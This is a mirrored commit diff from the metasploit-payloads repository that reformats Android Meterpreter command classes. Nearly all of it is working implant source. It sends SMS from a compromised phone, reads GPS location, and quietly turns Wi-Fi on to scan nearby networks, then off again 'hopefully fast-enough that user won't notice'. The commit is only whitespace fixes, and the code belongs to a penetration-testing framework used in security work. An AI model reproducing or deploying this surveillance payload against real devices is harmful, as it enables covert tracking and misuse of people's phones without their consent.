mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-28 06:13:03 +01:00
whitespace / formatting fixes
This commit is contained in:
parent
a206e966a1
commit
4f5ef507c5
@ -147,8 +147,8 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
mgr.registerCommand("geolocate", geolocate_android.class);
|
||||
mgr.registerCommand("dump_calllog", dump_calllog_android.class);
|
||||
mgr.registerCommand("check_root", check_root_android.class);
|
||||
mgr.registerCommand("send_sms", send_sms_android.class);
|
||||
mgr.registerCommand("wlan_geolocate", wlan_geolocate.class);
|
||||
mgr.registerCommand("send_sms", send_sms_android.class);
|
||||
mgr.registerCommand("wlan_geolocate", wlan_geolocate.class);
|
||||
}
|
||||
return getCommandManager().getNewCommands();
|
||||
}
|
||||
|
@ -32,8 +32,9 @@ public class geolocate_android implements Command {
|
||||
Double.toString(location.getLatitude()));
|
||||
response.add(TLV_TYPE_GEO_LONG,
|
||||
Double.toString(location.getLongitude()));
|
||||
} else
|
||||
} else {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -27,165 +27,165 @@ public class send_sms_android implements Command {
|
||||
private static final int TLV_TYPE_SMS_DR = TLVPacket.TLV_META_TYPE_BOOL
|
||||
| (TLV_EXTENSIONS + 9026);
|
||||
|
||||
Object SMSstatus= new Object();
|
||||
Object SMSdelivered= new Object();
|
||||
String resultSent,resultDelivered;
|
||||
Object SMSstatus = new Object();
|
||||
Object SMSdelivered = new Object();
|
||||
String resultSent, resultDelivered;
|
||||
|
||||
@Override
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||
TLVPacket response) throws Exception {
|
||||
|
||||
String number = request.getStringValue(TLV_TYPE_SMS_ADDRESS);
|
||||
String message = request.getStringValue(TLV_TYPE_SMS_BODY);
|
||||
boolean dr = request.getBooleanValue(TLV_TYPE_SMS_DR);
|
||||
SmsManager sm = SmsManager.getDefault();
|
||||
String SMS_SENT = "SMS_SENT";
|
||||
String SMS_DELIVERED = "SMS_DELIVERED";
|
||||
AndroidMeterpreter androidMeterpreter = (AndroidMeterpreter) meterpreter;
|
||||
String number = request.getStringValue(TLV_TYPE_SMS_ADDRESS);
|
||||
String message = request.getStringValue(TLV_TYPE_SMS_BODY);
|
||||
boolean dr = request.getBooleanValue(TLV_TYPE_SMS_DR);
|
||||
SmsManager sm = SmsManager.getDefault();
|
||||
String SMS_SENT = "SMS_SENT";
|
||||
String SMS_DELIVERED = "SMS_DELIVERED";
|
||||
|
||||
AndroidMeterpreter androidMeterpreter = (AndroidMeterpreter) meterpreter;
|
||||
final Context context = androidMeterpreter.getContext();
|
||||
|
||||
// Get the default instance of SmsManager
|
||||
SmsManager smsManager = SmsManager.getDefault();
|
||||
// Get the default instance of SmsManager
|
||||
SmsManager smsManager = SmsManager.getDefault();
|
||||
|
||||
PendingIntent sentPendingIntent = PendingIntent.getBroadcast(context, 0, new Intent(SMS_SENT), 0);
|
||||
PendingIntent deliveredPendingIntent = PendingIntent.getBroadcast(context, 0, new Intent(SMS_DELIVERED), 0);
|
||||
|
||||
PendingIntent sentPendingIntent = PendingIntent.getBroadcast(context, 0, new Intent(SMS_SENT), 0);
|
||||
PendingIntent deliveredPendingIntent = PendingIntent.getBroadcast(context, 0, new Intent(SMS_DELIVERED), 0);
|
||||
// For when the SMS has been sent
|
||||
context.registerReceiver(new BroadcastReceiver() {
|
||||
@Override
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
synchronized (SMSstatus) {
|
||||
resultSent = "";
|
||||
switch(getResultCode()) {
|
||||
case Activity.RESULT_OK:
|
||||
resultSent = "Transmission successful";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
|
||||
resultSent = "Transmission failed";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_RADIO_OFF:
|
||||
resultSent = "Radio off";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_NULL_PDU:
|
||||
resultSent = "No PDU defined";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_NO_SERVICE:
|
||||
resultSent = "No service";
|
||||
break;
|
||||
}
|
||||
SMSstatus.notifyAll();
|
||||
}
|
||||
}
|
||||
}, new IntentFilter(SMS_SENT));
|
||||
|
||||
// For when the SMS has been sent
|
||||
context.registerReceiver(new BroadcastReceiver() {
|
||||
@Override
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
synchronized (SMSstatus){
|
||||
resultSent = "";
|
||||
switch(getResultCode()) {
|
||||
case Activity.RESULT_OK:
|
||||
resultSent = "Transmission successful";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
|
||||
resultSent = "Transmission failed";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_RADIO_OFF:
|
||||
resultSent = "Radio off";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_NULL_PDU:
|
||||
resultSent = "No PDU defined";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_NO_SERVICE:
|
||||
resultSent = "No service";
|
||||
break;
|
||||
}
|
||||
SMSstatus.notifyAll();
|
||||
}
|
||||
}
|
||||
}, new IntentFilter(SMS_SENT));
|
||||
// For when the SMS has been delivered
|
||||
context.registerReceiver(new BroadcastReceiver() {
|
||||
@Override
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
synchronized (SMSdelivered) {
|
||||
resultDelivered = "";
|
||||
switch(getResultCode()) {
|
||||
case Activity.RESULT_OK:
|
||||
resultDelivered = "Transmission successful";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
|
||||
resultDelivered = "Transmission failed";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_RADIO_OFF:
|
||||
resultDelivered = "Radio off";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_NULL_PDU:
|
||||
resultDelivered = "No PDU defined";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_NO_SERVICE:
|
||||
resultDelivered = "No service";
|
||||
break;
|
||||
}
|
||||
SMSdelivered.notifyAll();
|
||||
}
|
||||
}
|
||||
}, new IntentFilter(SMS_DELIVERED));
|
||||
|
||||
// For when the SMS has been delivered
|
||||
context.registerReceiver(new BroadcastReceiver() {
|
||||
@Override
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
synchronized (SMSdelivered){
|
||||
resultDelivered = "";
|
||||
switch(getResultCode()) {
|
||||
case Activity.RESULT_OK:
|
||||
resultDelivered = "Transmission successful";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
|
||||
resultDelivered = "Transmission failed";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_RADIO_OFF:
|
||||
resultDelivered = "Radio off";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_NULL_PDU:
|
||||
resultDelivered = "No PDU defined";
|
||||
break;
|
||||
case SmsManager.RESULT_ERROR_NO_SERVICE:
|
||||
resultDelivered = "No service";
|
||||
break;
|
||||
}
|
||||
SMSdelivered.notifyAll();
|
||||
}
|
||||
}
|
||||
}, new IntentFilter(SMS_DELIVERED));
|
||||
if (message.length() > 160) {
|
||||
|
||||
if (message.length() > 160) {
|
||||
// Break message into 160 character pieces
|
||||
int interval = 160;
|
||||
int arrayLength = (int) Math.ceil(((message.length() / (double)interval)));
|
||||
String[] pieces = new String[arrayLength];
|
||||
int j = 0;
|
||||
int lastIndex = pieces.length - 1;
|
||||
for (int i = 0; i < lastIndex; i++) {
|
||||
pieces[i] = message.substring(j, j + interval);
|
||||
j += interval;
|
||||
}
|
||||
pieces[lastIndex] = message.substring(j);
|
||||
boolean failed=false;
|
||||
|
||||
//Break message into 160 character pieces
|
||||
int interval = 160;
|
||||
int arrayLength = (int) Math.ceil(((message.length() / (double)interval)));
|
||||
String[] pieces = new String[arrayLength];
|
||||
int j = 0;
|
||||
int lastIndex = pieces.length - 1;
|
||||
for (int i = 0; i < lastIndex; i++) {
|
||||
pieces[i] = message.substring(j, j + interval);
|
||||
j += interval;
|
||||
}
|
||||
pieces[lastIndex] = message.substring(j);
|
||||
boolean failed=false;
|
||||
//Send all parts of long message
|
||||
for (int i = 0; i<=lastIndex; i++) {
|
||||
String part=pieces[i];
|
||||
smsManager.sendTextMessage(number, null, part, sentPendingIntent, deliveredPendingIntent);
|
||||
resultSent=null;
|
||||
synchronized (SMSstatus){
|
||||
while (resultSent == null){
|
||||
SMSstatus.wait(1000);
|
||||
}
|
||||
if (resultSent != "Transmission successful"){
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultSent);
|
||||
failed=true;
|
||||
}
|
||||
}
|
||||
if (dr){
|
||||
if (failed==true){
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultSent);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
resultDelivered=null;
|
||||
synchronized (SMSdelivered){
|
||||
while (resultDelivered == null){
|
||||
SMSdelivered.wait(1000);
|
||||
}
|
||||
if (resultDelivered != "Transmission successful"){
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultDelivered);
|
||||
failed=true;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (failed==true){
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
// Send all parts of long message
|
||||
for (int i = 0; i <= lastIndex; i++) {
|
||||
String part=pieces[i];
|
||||
smsManager.sendTextMessage(number, null, part, sentPendingIntent, deliveredPendingIntent);
|
||||
resultSent=null;
|
||||
synchronized (SMSstatus) {
|
||||
while (resultSent == null) {
|
||||
SMSstatus.wait(1000);
|
||||
}
|
||||
if (resultSent != "Transmission successful") {
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultSent);
|
||||
failed=true;
|
||||
}
|
||||
}
|
||||
if (dr) {
|
||||
if (failed==true) {
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultSent);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
resultDelivered=null;
|
||||
synchronized (SMSdelivered) {
|
||||
while (resultDelivered == null) {
|
||||
SMSdelivered.wait(1000);
|
||||
}
|
||||
if (resultDelivered != "Transmission successful") {
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultDelivered);
|
||||
failed=true;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (failed==true) {
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
}
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultSent);
|
||||
if (dr){
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultDelivered);
|
||||
}
|
||||
}
|
||||
response.addOverflow(TLV_TYPE_SMS_SR, resultSent);
|
||||
|
||||
}
|
||||
else {
|
||||
if (dr) {
|
||||
response.addOverflow(TLV_TYPE_SMS_SR, resultDelivered);
|
||||
}
|
||||
|
||||
// Send a single text based SMS
|
||||
smsManager.sendTextMessage(number, null, message, sentPendingIntent, deliveredPendingIntent);
|
||||
resultSent=null;
|
||||
synchronized (SMSstatus){
|
||||
while (resultSent == null){
|
||||
SMSstatus.wait(1000);
|
||||
}
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultSent);
|
||||
}
|
||||
} else {
|
||||
|
||||
if (dr){
|
||||
resultDelivered=null;
|
||||
synchronized (SMSdelivered){
|
||||
while (resultDelivered == null){
|
||||
SMSdelivered.wait(1000);
|
||||
}
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultDelivered);
|
||||
}
|
||||
}
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
// Send a single text based SMS
|
||||
smsManager.sendTextMessage(number, null, message, sentPendingIntent, deliveredPendingIntent);
|
||||
resultSent=null;
|
||||
synchronized (SMSstatus) {
|
||||
while (resultSent == null) {
|
||||
SMSstatus.wait(1000);
|
||||
}
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultSent);
|
||||
}
|
||||
|
||||
if (dr) {
|
||||
resultDelivered=null;
|
||||
synchronized (SMSdelivered) {
|
||||
while (resultDelivered == null) {
|
||||
SMSdelivered.wait(1000);
|
||||
}
|
||||
response.addOverflow(TLV_TYPE_SMS_SR,resultDelivered);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
@ -1,4 +1,4 @@
|
||||
package com.metasploit.meterpreter.android;
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
@ -33,26 +33,22 @@ public class wlan_geolocate implements Command {
|
||||
private static final int TLV_TYPE_WLAN_LEVEL = TLVPacket.TLV_META_TYPE_UINT
|
||||
| (TLV_EXTENSIONS + 9025);
|
||||
|
||||
WifiManager mainWifi;
|
||||
WifiReceiver receiverWifi;
|
||||
List<ScanResult> wifiList;
|
||||
Object scanready = new Object();
|
||||
boolean WifiStatus;
|
||||
|
||||
class WifiReceiver extends BroadcastReceiver {
|
||||
|
||||
@Override
|
||||
public void onReceive(Context c, Intent intent) {
|
||||
|
||||
synchronized (scanready){
|
||||
wifiList = mainWifi.getScanResults();
|
||||
scanready.notifyAll();
|
||||
}
|
||||
WifiManager mainWifi;
|
||||
WifiReceiver receiverWifi;
|
||||
List<ScanResult> wifiList;
|
||||
Object scanready = new Object();
|
||||
boolean WifiStatus;
|
||||
|
||||
class WifiReceiver extends BroadcastReceiver {
|
||||
|
||||
@Override
|
||||
public void onReceive(Context c, Intent intent) {
|
||||
synchronized (scanready) {
|
||||
wifiList = mainWifi.getScanResults();
|
||||
scanready.notifyAll();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||
@ -60,41 +56,44 @@ public class wlan_geolocate implements Command {
|
||||
AndroidMeterpreter androidMeterpreter = (AndroidMeterpreter) meterpreter;
|
||||
final Context context = androidMeterpreter.getContext();
|
||||
|
||||
mainWifi = (WifiManager) context.getSystemService(context.WIFI_SERVICE);
|
||||
WifiStatus=mainWifi.isWifiEnabled();
|
||||
if (WifiStatus == false)
|
||||
{
|
||||
// If wifi is disabled, enable it
|
||||
mainWifi.setWifiEnabled(true);
|
||||
}
|
||||
mainWifi = (WifiManager) context.getSystemService(context.WIFI_SERVICE);
|
||||
WifiStatus=mainWifi.isWifiEnabled();
|
||||
if (WifiStatus == false) {
|
||||
// If wifi is disabled, enable it
|
||||
mainWifi.setWifiEnabled(true);
|
||||
}
|
||||
|
||||
receiverWifi = new WifiReceiver();
|
||||
context.registerReceiver(receiverWifi, new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION));
|
||||
mainWifi.startScan();
|
||||
receiverWifi = new WifiReceiver();
|
||||
context.registerReceiver(receiverWifi,
|
||||
new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION));
|
||||
mainWifi.startScan();
|
||||
|
||||
wifiList=null;
|
||||
synchronized (scanready){
|
||||
scanready.wait(30000);
|
||||
//If wifi was disabled when process started, turn it off again
|
||||
//hopefully fast-enough that user won't notice =)
|
||||
if (WifiStatus == false){
|
||||
mainWifi.setWifiEnabled(false);
|
||||
}
|
||||
if (wifiList.size()==0){
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
for(int i = 0; i < wifiList.size(); i++){
|
||||
TLVPacket pckt=new TLVPacket();
|
||||
pckt.addOverflow(TLV_TYPE_WLAN_SSID,wifiList.get(i).SSID);
|
||||
pckt.addOverflow(TLV_TYPE_WLAN_BSSID,wifiList.get(i).BSSID);
|
||||
int level=0;
|
||||
level = mainWifi.calculateSignalLevel(wifiList.get(i).level,100);
|
||||
pckt.addOverflow(TLV_TYPE_WLAN_LEVEL,level);
|
||||
response.addOverflow(TLV_TYPE_WLAN_GROUP, pckt);
|
||||
}
|
||||
}
|
||||
wifiList=null;
|
||||
synchronized (scanready) {
|
||||
scanready.wait(30000);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
// If wifi was disabled when process started, turn it off again
|
||||
// hopefully fast-enough that user won't notice =)
|
||||
if (WifiStatus == false) {
|
||||
mainWifi.setWifiEnabled(false);
|
||||
}
|
||||
|
||||
if (wifiList.size()==0) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
for (int i = 0; i < wifiList.size(); i++) {
|
||||
TLVPacket pckt=new TLVPacket();
|
||||
pckt.addOverflow(TLV_TYPE_WLAN_SSID,wifiList.get(i).SSID);
|
||||
pckt.addOverflow(TLV_TYPE_WLAN_BSSID,wifiList.get(i).BSSID);
|
||||
int level=0;
|
||||
level = mainWifi.calculateSignalLevel(wifiList.get(i).level,100);
|
||||
pckt.addOverflow(TLV_TYPE_WLAN_LEVEL,level);
|
||||
response.addOverflow(TLV_TYPE_WLAN_GROUP, pckt);
|
||||
}
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user